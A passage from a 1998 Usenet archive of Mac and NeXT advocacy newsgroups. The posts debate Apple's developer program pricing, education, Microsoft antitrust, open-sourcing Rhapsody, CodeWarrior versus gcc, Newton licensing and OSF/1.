:doesn't need as much support! But Windows is an obvious example that the
:world just doesn't work that way.
Sure it does if you don't have to support it. That is why the support cost
is only exponential up to a point. Eventually you can have your support
subsidized by your partners, competiors, and your other users.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: Thu, 16 Apr 1998 14:09:29 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1604981409300001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu> <6h3rqf$gg8$1@vixen.cso.uiuc.edu>
In article <6h3rqf$gg8$1@vixen.cso.uiuc.edu>, stwillis@ews.uiuc.edu
(willis sean timothy) wrote:
> This may be true at some higher ed locations, but it most certainly isn't
> here at U of Ill. The College of Education is one of the most difficult
> programs to enter, and it becomes nearly impossible to transfer into (On
> the order of or moreso than Engineering). Classes are far from a blow off,
> and unpaid internships are _REQUIRED_ prior to obtaining a certificate.
> Not exactly a walk in the park.
Perhaps, but there are still those people who teach chemistry and at the
same time coach football and wrestling. Can you guess which task they do
with more zeal? These people may not have come from the U of I, but they
come from somewhere.
Many of them are "nice people." But they either don't have the skills,
don't care about teaching, or don't have the will to fight a room full of
30 kids who want to goof off.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Thu, 16 Apr 1998 14:46:00 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1604981446010001@132.236.171.104>
References: <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com> <6h1r8v$os8$5@ns3.vrx.net> <6h351d$cfh$1@new-news.cc.brandeis.edu> <6h2lv1$fbp$1@ns3.vrx.net>
In article <6h2lv1$fbp$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> The issue there is credibility as I see it. Apple simply isn't a Unix
> vendor.
True, but NeXT is, and NeXT's CEO is running Apple.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: Thu, 16 Apr 1998 14:06:14 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1604981406140001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <gmgraves-1504981051040001@sf-usr1-56-184.dialup.slip.net> <35352C35.D0691B0E@trilithon.com> <gmgraves-1504981654340001@sf-usr1-20-148.dialup.slip.net>
In article <gmgraves-1504981654340001@sf-usr1-20-148.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <35352C35.D0691B0E@trilithon.com>, Henry McGilton
> <henry@trilithon.com> wrote:
>
> > 7) Television. American kids spend an average of 30 hours
> > per week watching television.
>
> Perhaps today's television. I watched a lot of TV when I was a
> kid too, it didn't seem to do my education any harm.
Did you watch 30 hours per week? (Over 4 hours a *day* ?)
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 1998 18:10:46 GMT
Message-ID: <01bd699d$3a2001c0$3af0bfa8@davidsul>
References: <joe.ragosta-1404981037440001@wil44.dol.net> <B159020F-6203B@206.165.43.147> <6h5bfk$58j$2@ironhorse.plsys.co.uk>
> But you've already been told:
>
> "Raymond was not a member of any Apple developer programs while working
on
> Stuffit."
> [Andrew Welch, <andrew-1104980043110001@lgm.com>]
>
> so clearly this was not a major impediment...
True, its not a horrible impediment, its only a minor impediment.
But with people leaving the mac every day because of lack of software, why
should Apple
put up a minor impediment for its developers???
And dont say
1) the hardware discount was costing Apple money, because the discount was
no less than what a mail order place would buy the hardware from apple from
(in fact, the employee discount is significantly less... did you know the
staff of the 800 number you call to order the employee discount items get a
commision on every sale of the employee discounted items they sell?)
2) developers were affected by hobbyists in the program, apple made a nice
profit from everyone in the program.
PS Has anyone cancelled their order (through your credit card company)
since apple changed the terms of the contract, possibly illegally according
to a credit card spokesman (forget who posted this)
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.lang.postscript,comp.sys.next.advocacy
Subject: Re: Adobe dps-info Was:Re: End of Display PostScript?
Date: 16 Apr 1998 17:53:13 GMT
Organization: P & L Systems
Message-ID: <6h5gi9$58j$3@ironhorse.plsys.co.uk>
References: <ldo-2403981003100001@a24.hn1.wave.co.nz> <3519F50E.2E4C51B@trilithon.com>
<1998Mar30.113319@lsl> <352C3C0F.5CB6E295@rs6000.cmp.ilstu.edu>
<1998Apr9.095048@lsl> <p.kerr-1504981822550001@news.auckland.ac.nz>
<p.kerr-1604981104390001@news.auckland.ac.nz> <35363dcc.0@newsread1.dircon.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: ian@five-d.com
In <35363dcc.0@newsread1.dircon.co.uk> Ian Kemmish wrote:
> In article <p.kerr-1604981104390001@news.auckland.ac.nz>,
> p.kerr@auckland.ac.nz says...
>
> > Also I don't think we've heard the last of it in connection with Apple's
> > Rhapsody system.
>
> Given that Apple spent ten months investigating alternatives to Adobe
before
> realising that no-one was prepared to go with the silly price they were
> offering, I think you'll find that you may well have.... All Apple's press
> releases state that MacOS is the future, and the Rhapsody is primarily
intended
> for servers, which indicates that support for OpenStep legacy apps is not
> regarded as a real high priority....
>
I'm sure that "support for OpenStep legacy apps is not regarded as a real
high priority" per se, however in providing a suite of native software for
the new OS they'll probably be more than useful...
That apart, your argument disregards Apple's assertion that YellowBox is the
future API for both Rhapsody and MacOS, thus to some extent Peter's point
remains valid -- except that DPS was developed jointly by Adobe and NeXT, so
I don't believe it to be an issue anyway. If anything it's more likely to
leave Apple engineers with more time to devote to their own work, as opposed
to fending off questions from Adobe engineers who don't understand enough
about DPS...
Best wishes,
mmalc.
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Thu, 16 Apr 1998 14:50:35 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1604981450350001@132.236.171.104>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h2ct8$88a$2@ns3.vrx.net> <6h353h$thn$1@crib.bevc.blacksburg.va.us> <6h2m5g$fbp$2@ns3.vrx.net> <6h3cnp$to7$1@crib.bevc.blacksburg.va.us> <3535373D.1BD6@CONVEX.COM> <6h2t8k$kco$2@ns3.vrx.net>
In article <6h2t8k$kco$2@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> > It wouldn't
> > really take much effort, apart from *listening* to those customers.
>
> I guess my question is whether or not there's some inherent resistance from
> those users to ANY commercial OS?
Most Linux users I know used to use Windows. Most switched back in the
days of 3.1. The reasons for switching were not because Linux was free;
after all, most received Windows "for free" with their computers, and you
have to go out of your way to recoup the price of Windows when you're
building a Linux machine. The reasons usually had to do with stability
and reliability.
The reason many people (including myself) who might switch to Linux don't
is lack of software in certain categories. Rhapsody will be better there,
although perhaps only by virtue of the blue box.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Thu, 16 Apr 1998 14:00:52 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35365564.6C61@CONVEX.COM>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <3534e321.0@206.25.228.5> <35351E80.1BB@CONVEX.COM> <geordie-1604981258310001@130.130.117.53>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Geordie Korper wrote:
>
> In article <35351E80.1BB@CONVEX.COM>, Michael Peck <ECK@CONVEX.COM> wrote:
>
> :You are missing the fundamental point, John. It's not like I haven't
> :said this before. What keeps libertarianism from slipping into anarchy
> :is *Law*, not *government*.
>
> Which is like saying what allows me to fly coast to coast is physics not
> an airplane.
It could be an airplane, but if the airplane shows a tendency toward
crashing, say, 80% of the time, I personally prefer a different physical
medium, say, a car.
If government is your airplane, I say, happy trip. Don't complain to me
when your airplane flies 120,000 Japanese-American citizens to prison
camps and all of a sudden the metaphorical laws of physics don't seem
what they used to be.
Don't complain to me when your metaphorical airplane proclaims "We have
buried the putrid corpse of liberty!" (can someone name the quoted?). To
me, the laws of physics allow for more vehicular movement than just
airplanes.
Your statement is like saying that the only way to fly coast to coast is
via airplane.
MJP
--
BEFORE YOU REPLY TO THIS MESSAGE, PLEASE PREPEND 'MJP' TO THE ADDRESS
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 1998 18:43:03 GMT
Organization: @Home Network
Message-ID: <6h5jfn$2eq$1@ha2.rdc1.sdca.home.com>
References: <35343A8F.FE507500@trilithon.com> <6h2rnv$sek$1@cronkite.cygnus.com>
<6h40he$rgu$2@ha2.rdc1.sdca.home.com> <6h47vu$18b$1@new-news.cc.brandeis.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: xray@cs.brandeis.edu
In <6h47vu$18b$1@new-news.cc.brandeis.edu> Nathan G. Raymond wrote:
> In article <6h40he$rgu$2@ha2.rdc1.sdca.home.com> rr6013@yahoo.com writes:
> >In <6h2rnv$sek$1@cronkite.cygnus.com> John Rudd wrote:
> >>
> >> My only gripes are why doesn't Apple make a deal with Cygnus instead of
> >> Metrowerks, and make the software 'freeware' (in the Gnu sense, not the
> >money
> >> sense)... but that's just my personal biases :-)
> >>
> >>
> >
> >Amen... if Apple has the misfortune of dismissing "OpenSource" for their
> >"Future" OS I think they may miss the future altogether.
> >
> >-r
> >Rex Riley
>
> I have yet to read the full text on OpenSource (Eric Raymond's
> presentation that inspired Netscape to go OpenSource), but I read the
> interview with him at www.salonmagazine.com
>
> I don't think now is the time for Apple to go OpenSource, for a lot of
> reasons which I won't delve into at the moment. Rather, Apple is in the
> unique position of playing both sides of the game - MacOSRumors posted a
> letter from the OpenBSD maintainers that they gave permission to Apple to
> integrate the OpenBSD codebase into Rhapsody. (OpenBSD's forte is
> encryption and security, arguably two big weaknesses in NS/OS.) OpenBSD
> is not under GNU, and the source can be integrated into a commercial
> product with no penalties or restrictions save the permission of the
> maintainers, yet the source is also open and free. Thus, Apple gains the
> core benefits of an OpenSource project while keeping the unique aspects of
> their product commercial and protected. Seems like a win-win situation.
>
>
Agree, agree, agree. Apple must play both sides of the fence since there
isn't any infrastructure to support and maintain an OpenSource Rhapsody code
base(ala NS). There are any number of opportunities for Apple to OpenSource
parts and pieces. NeXT opened up Sendmail and that has worked fine.
Encryption and security have higher rank order on that list. I know for a
fact, that Apple actively supports 3rd Party Developers building API's to the
e-Commerce World.
Parts of Rhapsody are strategic assets which Apple may need to redeploy,
repackage, re-engineer and re-sell someday. It is not in anyone's best
interest to OpenSource say DB Kit and then have them overwirte the whole
memory footprint.
-r
Rex Riley
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Thu, 16 Apr 1998 15:28:45 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1604981528450001@132.236.171.104>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6ggiu7$auu$1@vixen.cso.uiuc.edu> <352c857a.2678525846@news.u-psud.fr> <joe.ragosta-0904980645050001@elk33.dol.net> <ericb-0904981707160001@132.236.171.104> <6gqlb4$oop$26@ironhorse.plsys.co.uk> <ericb-1304982030210001@132.236.171.104> <6gvkir$oop$41@ironhorse.plsys.co.uk> <ericb-1404981454340001@132.236.171.104> <6h26d3$oop$50@ironhorse.plsys.co.uk>
In article <6h26d3$oop$50@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> As you should now be aware, students should not feature in this debate since
> the entry cost for academics should be considerably less than $500.
Should be less that $500, but currently it is not.
BTW, I didn't receive the email you were considering sending me. Did you
decide not to send it, or is it still bouncing around on a mail server
somewhere between here and there?
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Thu, 16 Apr 1998 15:31:56 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1604981531560001@132.236.171.104>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6ggiu7$auu$1@vixen.cso.uiuc.edu> <352c857a.2678525846@news.u-psud.fr> <joe.ragosta-0904980645050001@elk33.dol.net> <ericb-0904981707160001@132.236.171.104> <6gqlb4$oop$26@ironhorse.plsys.co.uk> <ericb-1304982030210001@132.236.171.104> <6gvkir$oop$41@ironhorse.plsys.co.uk> <ericb-1404981454340001@132.236.171.104> <01bd67eb$e6650ec0$2ef0bfa8@davidsul>
In article <01bd67eb$e6650ec0$2ef0bfa8@davidsul>, "NeXT Newbie"
<macghod@concentric.net> wrote:
> Eric, it is possible that you can get on the $500 developer plan FOR FREE.
>
> Apple announced that certain universities are getting the developer plan
> for free, have you contacted apple or your university to see if cornel is
> getting this for free?
I have seen nothing mentioned, and I don't know why anybody would try to
hide it. (There's no mention of this in cornell.comp.mac--perhaps I
should ask. And there's no note about Rhapsody to be found on the Cornell
server that holds all the Apple OS archives.)
Whether or not Cornell has access, the point is still worth arguing in
general. Apple needs to address educational development as a whole, not
with some selective program that restricts seeds to a few institutions.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Free markets (Re: Microsoft Faking Testimonials...)
Date: Thu, 16 Apr 1998 14:36:22 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35365DB6.4D5C@CONVEX.COM>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35330A58.2BFC5C6E@nstar.net> <ericb-1404981347320001@132.236.171.104> <3533BAE1.3B33@CONVEX.COM> <petrichErFM2z.102@netcom.com> <3534508A.22D5D61F@nstar.net> <ericb-1604981500320001@132.236.171.104>
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Eric Bennett wrote:
>
> In article <3534508A.22D5D61F@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
>
> > No, it isn't. But thanks for the historical review.
>
> But in any case, there was a problem with IBM in the era of the mainframe
> (if you can call it that :-) and there is a problem with Microsoft in the
> era of the PC.
>
> What happens when technology slows down, and it takes thirty years for the
> technology shift that breaks one company's lock on the market? If it's
> only going to take five years to break Microsoft's hold on the market,
> then the government should probably stay out; a lawsuit will likely take
> that long anyway. But what if it's fifteen years?
I guess it boils down to which seems more important to you: principles
or expedience. Personally, I prefer to stick to my principles of
liberty, but if it's more important to you that Team A beat Team B in
the shortest possible timeframe, I suppose you'll always be guessing at
the most powerful and effective way to accomplish your unilateral will.
This is the reason political systems founded on the naked use of Power,
like fascism, typically masquerade as something else entirely. If
capitalism can achieve their goals, they're capitalists. If socialism,
they're socialists. If less government will bring about their desires,
they'll fire the government. If killing millions upon millions in death
camps is the best way to accomplish their ends, people will die.
If the bigots who have set themselves up against Microsoft are convinced
that government is the most expedient way to accomplish their end, no
doubt, government will again play its hand in the free market and place
more restrictions on free trade.
> One problem, obviously, is that we have no idea how long it will take to
> happen on its own.
Or whether it will happen at all. Waiting around to find out what
happens without your intervention is out of the question, I guess.
> I need to read up on Standard Oil. But correct me if I'm wrong: the
> market didn't correct itself there.
That's funny! That reminds me of people here who decide a particular
server is taking too long to boot, so they hit the reset switch. Those
people generally spend all day hitting reset and, when questioned, claim
that "they had to do it, it never came up on its own."
> Is the Microsoft case going to resolve itself largely through the market
> in the model of IBM, or will it take government intervention in the model
> of Standard Oil? Too bad we can't see into the future. :-(
But you certainly can affect the future. So come on, fire up your
economic chainsaw and start hacking! Twenty years from now you'll have
your kids to blame it on, anyway...
> > Blech, I detest thinking that can't distinguish between *illegal* and
> > *unethical* behavior. The inability to distinguish between the two has
> > been root of most socialistic evils for at least the past decade, I'm
> > convinced.
>
> There are legitimate questions, in my mind, about whether Microsoft has
> violated the Sherman Antitrust Act. The government needs to investigate
> these sorts of concerns.
There are legitimate questions, in my mind, about whether the Sherman
Antitrust Act has violated the United State Constitution. The people
need to investigate these sorts of concerns.
MJP
--
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From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 1998 12:43:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15BAE84-274F0@206.165.43.169>
References: <6h5bfk$58j$2@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy
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mmalcolm crawford <malcolm@plsys.co.uk> said:
> "Raymond was not a member of any Apple developer programs while
> working on
> Stuffit."
> [Andrew Welch, <andrew-1104980043110001@lgm.com>]
>
> so clearly this was not a major impediment...
>
And the format for Macintosh OS volumes and files didn't change
signficantly during that time, either, so of course it wasn't a major
impediment. I'm pretty sure that he didn't create Stuffit during the
MFS=>HFS transition, and that was the last major change for the MacOS
until HFS+.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 1998 19:55:58 GMT
Organization: I don't think so
Message-ID: <slrn6jc76q.9i.jason@jhste1.dyn.ml.org>
References: <slrn6jc21u.9i.jason@jhste1.dyn.ml.org> <B15BA0C1-2D6BC@207.217.155.43>
Brad Hutchings wrote:
>>But it produces horrible code - even worse than the free and
>cross-platform
>>gcc! Wouldn't you be happier with better code generation than with a
>pretty
>>IDE?
>No, I wouldn't be happier. 80/20 applies here. Metrowerks code is good
>enough. More importantly, it supports all of the Mac runtime models going
>way back, including some like Direct-to-SOM, that many would argue should
>just die.
>Instead of screwing with make files, I'm getting products written. When
>Metrowerks gets its object code up to par with gcc (and there are a lot of
>variables that muddy the comparison anyway), perhaps I'll just recompile.
>New version, no big.
Why not do the final build with the Moto compiler (much better than gcc)?
(I won't comment on the "screwing with Makefiles" remark, except to note
that Linux, a far better OS than anything Apple has ever released to the
public, was built in a few years by a bunch of volunteers who were "screwing
with Makefiles.")
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: 16 Apr 1998 20:02:11 GMT
Organization: I don't think so
Message-ID: <slrn6jc7ie.9i.jason@jhste1.dyn.ml.org>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu> <MPG.f9e0bd4339572849898ae@news.supernews.com> <rmcassid-1504981009550001@dante.eng.uci.edu> <6h3vq4$rgu$1@ha2.rdc1.sdca.home.com> <MPG.f9f4a88904b40549898b5@news.supernews.com> <ericb-1604981415450001@132.236.171.104>
Eric Bennett wrote:
>> Absolutely. And, many of them make sense individually (as I am passed by
>> young drivers, I sometimes wish they spent more time in drivers ed), but
>> when put together, they drive out real learning.
>Unfortunately there is no classroom substitute for the real experience of
>finally crashing into something.
So I take it that you believe that the more accidents youve had, the better
driver you are? (Try that one with an insurance agent!)
;)
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Thu, 16 Apr 1998 14:03:18 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353655F6.E3A@CONVEX.COM>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h2ct8$88a$2@ns3.vrx.net>
<6h353h$thn$1@crib.bevc.blacksburg.va.us> <6h2m5g$fbp$2@ns3.vrx.net>
<6h3cnp$to7$1@crib.bevc.blacksburg.va.us> <3535373D.1BD6@CONVEX.COM>
<6h2t8k$kco$2@ns3.vrx.net> <35356BF6.F3856C5F@nstar.net> <6h4fmh$rom$2@ns3.vrx.net>
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Maury Markowitz wrote:
> Ok. Do you think this is true in general?
Yes.
> No, I think that building a OpenStep - on - Linux would do a lot better
> than the current project, regardless of the fact that I think from the
> technical standpoint it's not terribly strong (I really do think OSF/1 is the
> way to go).
OSF/1... any particular reason for this?
> But can you blame them?!?
Considering I share the viewpoint I described, no.
MJP
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From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Free markets (Re: Microsoft Faking Testimonials...)
Date: Thu, 16 Apr 1998 15:00:32 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1604981500320001@132.236.171.104>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35330A58.2BFC5C6E@nstar.net> <ericb-1404981347320001@132.236.171.104> <3533BAE1.3B33@CONVEX.COM> <petrichErFM2z.102@netcom.com> <3534508A.22D5D61F@nstar.net>
In article <3534508A.22D5D61F@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> No, it isn't. But thanks for the historical review.
But in any case, there was a problem with IBM in the era of the mainframe
(if you can call it that :-) and there is a problem with Microsoft in the
era of the PC.
What happens when technology slows down, and it takes thirty years for the
technology shift that breaks one company's lock on the market? If it's
only going to take five years to break Microsoft's hold on the market,
then the government should probably stay out; a lawsuit will likely take
that long anyway. But what if it's fifteen years?
One problem, obviously, is that we have no idea how long it will take to
happen on its own.
I need to read up on Standard Oil. But correct me if I'm wrong: the
market didn't correct itself there.
Is the Microsoft case going to resolve itself largely through the market
in the model of IBM, or will it take government intervention in the model
of Standard Oil? Too bad we can't see into the future. :-(
> Blech, I detest thinking that can't distinguish between *illegal* and
> *unethical* behavior. The inability to distinguish between the two has
> been root of most socialistic evils for at least the past decade, I'm
> convinced.
There are legitimate questions, in my mind, about whether Microsoft has
violated the Sherman Antitrust Act. The government needs to investigate
these sorts of concerns.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 16 Apr 1998 20:18:04 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1604981617480001@pm61-43.magicnet.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h2nsv$fbp$7@ns3.vrx.net> <6h3nj2$frm$1@jetsam.uits.indiana.edu> <6h4g11$rom$3@ns3.vrx.net> <6h552o$kpg$1@flotsam.uits.indiana.edu> <geordie-1604981323230001@130.130.117.53>
geordie@chapman.com (Geordie Korper) wrote:
> Sure it does if you don't have to support it. That is why the support cost
> is only exponential up to a point. Eventually you can have your support
> subsidized by your partners, competiors, and your other users.
...and that's where the Microsoft Way comes to its strong suit. After the
first short period of "oh, this is *much* better," the users start
noticing the problems.
By that time, of course, any problems you take to MS are billed by the
minute. *That's* where MS makes their profits. Not off of sales. Off of
support.
That's why (for example) MS loves NT, even though NT can't possibly make
any profit directly for MS at current price levels. It's all of that
support money, *plus* the extra money generated from W95 users interfacing
with NT servers, that is the real golden egg for Microsoft.
--
Chad Irby cirby@magicnet.net
/ My greatest fear:
/ That future generations will, for some
/ reason, refer to me as an "optimist."
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 98 11:49:11 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B15BA0C1-2D6BC@207.217.155.43>
References: <slrn6jc21u.9i.jason@jhste1.dyn.ml.org>
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>But it produces horrible code - even worse than the free and
cross-platform
>gcc! Wouldn't you be happier with better code generation than with a
pretty
>IDE?
>
No, I wouldn't be happier. 80/20 applies here. Metrowerks code is good
enough. More importantly, it supports all of the Mac runtime models going
way back, including some like Direct-to-SOM, that many would argue should
just die.
Instead of screwing with make files, I'm getting products written. When
Metrowerks gets its object code up to par with gcc (and there are a lot of
variables that muddy the comparison anyway), perhaps I'll just recompile.
New version, no big.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Thu, 16 Apr 1998 15:20:36 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35366814.4513@CONVEX.COM>
References: <slrn6jc21u.9i.jason@jhste1.dyn.ml.org> <B15BB1DE-33E9B@206.165.43.169>
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Lawson English wrote:
> Lots of the top houses (including Apple itself, from what I've heard!) do
> this on MacOS. Since 99% of your time is spent composing and debugging and
> only 1% is spent optimizing for 99% of developers (numbers made up, but
> likely pretty accurate), an elegant IDE is more important for just about
> all purposes except the final build.
IDE? Isn't that a word processor with a built-in web browser and other
distracting windows that doesn't let you use your command-line tools and
requires that you be running a local GUI session?
Okay, but "elegant" doesn't come to mind. I've used CodeWarrior, THINK
C, VC++, Borland C++, and a few others. To date my favorite is XEmacs
with rxvt (running tmake, gdb, etc.)
MJP
--
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From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: The Newton [was Re: Apple developer program]
Date: 16 Apr 1998 12:26:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15BAA68-17DA9@206.165.43.169>
References: <Pine.LNX.3.95.980416091640.2344C-100000@fabre.act.qc.ca>
To: "Andre-John Mas" <ama@fabre.act.qc.ca>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy,
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Andre-John Mas <ama@fabre.act.qc.ca> said:
>
> I can't remember where I read it, though there is a company in the USA
> that has expressed their intrest in the Newton technology and would like
> to buy it to keep the Newton alive. I just hope that Apple lets them buy
> the technology or licences it the for a sensible fee.
>
That bid is pretty much dead in the water. Apparently, Apple has asked them
to pay $50 million just to *license* the NewtonOS, not purchase it.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 16 Apr 1998 15:27:36 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h5818$fsq$1@ns3.vrx.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h2ct8$88a$2@ns3.vrx.net>
<6h353h$thn$1@crib.bevc.blacksburg.va.us> <6h2m5g$fbp$2@ns3.vrx.net>
<6h3cnp$to7$1@crib.bevc.blacksburg.va.us> <3535373D.1BD6@CONVEX.COM>
<6h2t8k$kco$2@ns3.vrx.net> <35356BF6.F3856C5F@nstar.net>
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Cc: ECK@CONVEX.COM
In <353655F6.E3A@CONVEX.COM> Michael Peck claimed:
> OSF/1... any particular reason for this?
Several...
a) OSF/Mk kernel along with all of it's post-3.0/pre-4.0 Mach support
(shuttles, thread pulling etc.)
b) 4.4BSD is standard
c) includes both the POSIX "realtime" extensions and the BSD driver streaming
for network access
Although I'd rather have a Hurd-like system running over Mk rather than the
